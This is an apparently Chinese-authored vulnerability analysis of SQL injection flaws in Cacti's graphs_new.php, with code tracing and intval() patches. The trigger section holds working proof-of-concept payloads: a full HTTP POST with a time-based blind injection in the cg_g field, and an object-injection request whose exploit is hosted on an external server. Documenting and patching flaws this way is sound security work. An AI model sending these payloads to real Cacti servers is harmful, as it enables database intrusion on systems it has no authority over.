catalogue
1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考
1. 漏洞描述
other SQL injection vulnerability via graphs_new.php in cacti was found, reported to the bug http://bugs.cacti.net/view.php?id=2652
Relevant Link:
http://bobao.360.cn/snapshot/index?id=146936
2. 漏洞触发条件
0x1: POC1: SQL Inject
POST /cacti/graphs_new.php HTTP/1.1 Host: 192.168.217.133 Proxy-Connection: keep-alive Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://192.168.217.133 [^] Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36 Content-Type: application/x-www-form-urlencoded DNT: 1 Referer: http://192.168.217.133/cacti/graphs_new.php?host_id=3 [^] Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: 1c4af7f2e90e3a789e67a8e3acd2372f=8a83va6ijomgf7qdgfpcl8l1p2; Cacti=j8chtc1ppq4n7viqkbah6c4tv2 Content-Length: 189 __csrf_magic=sid%3Aed226a87fdcc8e055d1c27b620e564d629d95e40%2C1450241184&cg_g=033926697+xor+(select(0)from(select sleep(5))v)&save_component_graph=1&host_id=2&host_template_id=0&action=save
0x2: POC2： Object Inject
1. Login 2. POST http://target/cacti/graphs_new.php Data: __csrf_magic=sid%3A55c34c49f0a1e4abf5739766855abdfa96fbc91b%2C1448716384&action=save&save_component_new_graphs=1&host_id=1&selected_graphs_array=[injection] {Injection exp can be found on my server: http://pandas.pw/cacti.exp} 3. mysql log: select graph_template_id from snmp_query_graph where id=1 and benchmark(20000000,sha1(1))--
3. 漏洞影响范围
4. 漏洞代码分析
0x1: Vuls-1: Object Inject To SQL Inject
/graphs_new.php
/* set default action */ if (!isset($_REQUEST["action"])) { $_REQUEST["action"] = ""; } switch ($_REQUEST["action"]) { case 'save': //track function form_save form_save(); break; case 'query_reload': host_reload_query(); header("Location: graphs_new.php?host_id=" . $_GET["host_id"]); break; default: include_once("./include/top_header.php"); graphs(); include_once("./include/bottom_footer.php"); break; }
form_save();
function form_save() { .. if (isset($_POST["save_component_new_graphs"])) { //Track function host_new_graphs_save() host_new_graphs_save(); header("Location: graphs_new.php?host_id=" . $_POST["host_id"]); } }
host_new_graphs_save();
function host_new_graphs_save() { //variable $selected_graphs_array just unserialized the POST variable which we can control without filter. $selected_graphs_array = unserialize(stripslashes($_POST["selected_graphs_array"])); .. //Then the variable goes into a three-dimensional array , and finally the dirty data we can control enter into the select database query, which caused a SQL injection. $graph_template_id = db_fetch_cell("select graph_template_id from snmp_query_graph where id=" . $snmp_query_array["snmp_query_graph_id"]); .. }
0x2: Vuls-2: SQL Injection
function form_save() { if (isset($_POST["save_component_graph"])) { /* summarize the 'create graph from host template/snmp index' stuff into an array */ while (list($var, $val) = each($_POST)) { if (preg_match('/^cg_(\d+)$/', $var, $matches)) { $selected_graphs["cg"]{$matches[1]}{$matches[1]} = true; } //cg_g is not filtered elseif (preg_match('/^cg_g$/', $var)) { if ($_POST["cg_g"] > 0) { $selected_graphs["cg"]{$_POST["cg_g"]}{$_POST["cg_g"]} = true; } } elseif (preg_match('/^sg_(\d+)_([a-f0-9]{32})$/', $var, $matches)) { $selected_graphs["sg"]{$matches[1]}{$_POST{"sgg_" . $matches[1]}}{$matches[2]} = true; } } if (isset($selected_graphs)) { //外部输入参数带入host_new_graphs中 host_new_graphs($_POST["host_id"], $_POST["host_template_id"], $selected_graphs); exit; } header("Location: graphs_new.php?host_id=" . $_POST["host_id"]); } if (isset($_POST["save_component_new_graphs"])) { host_new_graphs_save(); header("Location: graphs_new.php?host_id=" . $_POST["host_id"]); } }
host_new_graphs($_POST["host_id"], $_POST["host_template_id"], $selected_graphs);
function host_new_graphs($host_id, $host_template_id, $selected_graphs_array) { /* we use object buffering on this page to allow redirection to another page if no fields are actually drawn */ ob_start(); include_once("./include/top_header.php"); print "<form method='post' action='graphs_new.php'>\n"; $snmp_query_id = 0; $num_output_fields = array(); while (list($form_type, $form_array) = each($selected_graphs_array)) { while (list($form_id1, $form_array2) = each($form_array)) { if ($form_type == "cg") { //sql injection in graph_template_id $graph_template_id = $form_id1; html_start_box("<strong>Create Graph from '" . db_fetch_cell("select name from graph_templates where id=$graph_template_id") . "'", "100%", "", "3", "center", "");
Relevant Link:
http://seclists.org/fulldisclosure/2015/Dec/att-57/cacti_sqli%281%29.txt http://bugs.cacti.net/view.php?id=2652
5. 防御方法
/graphs_new.php
function host_new_graphs_save() { .. /*$graph_template_id = db_fetch_cell("select graph_template_id from snmp_query_graph where id=" . $snmp_query_array["snmp_query_graph_id"]);*/ $graph_template_id = db_fetch_cell("select graph_template_id from snmp_query_graph where id=" . intval($snmp_query_array["snmp_query_graph_id"])); .. }
/graphs_new.php
function host_new_graphs($host_id, $host_template_id, $selected_graphs_array) { /* we use object buffering on this page to allow redirection to another page if no fields are actually drawn */ ob_start(); include_once("./include/top_header.php"); print "<form method='post' action='graphs_new.php'>\n"; $snmp_query_id = 0; $num_output_fields = array(); while (list($form_type, $form_array) = each($selected_graphs_array)) { while (list($form_id1, $form_array2) = each($form_array)) { if ($form_type == "cg") { //sql injection in graph_template_id $graph_template_id = $form_id1; /**/ $graph_template_id = intval($graph_template_id); /**/ html_start_box("<strong>Create Graph from '" . db_fetch_cell("select name from graph_templates where id=$graph_template_id") . "'", "100%", "", "3", "center", "");
Relevant Link:
http://www.cacti.net/download_cacti.php
6. 攻防思考
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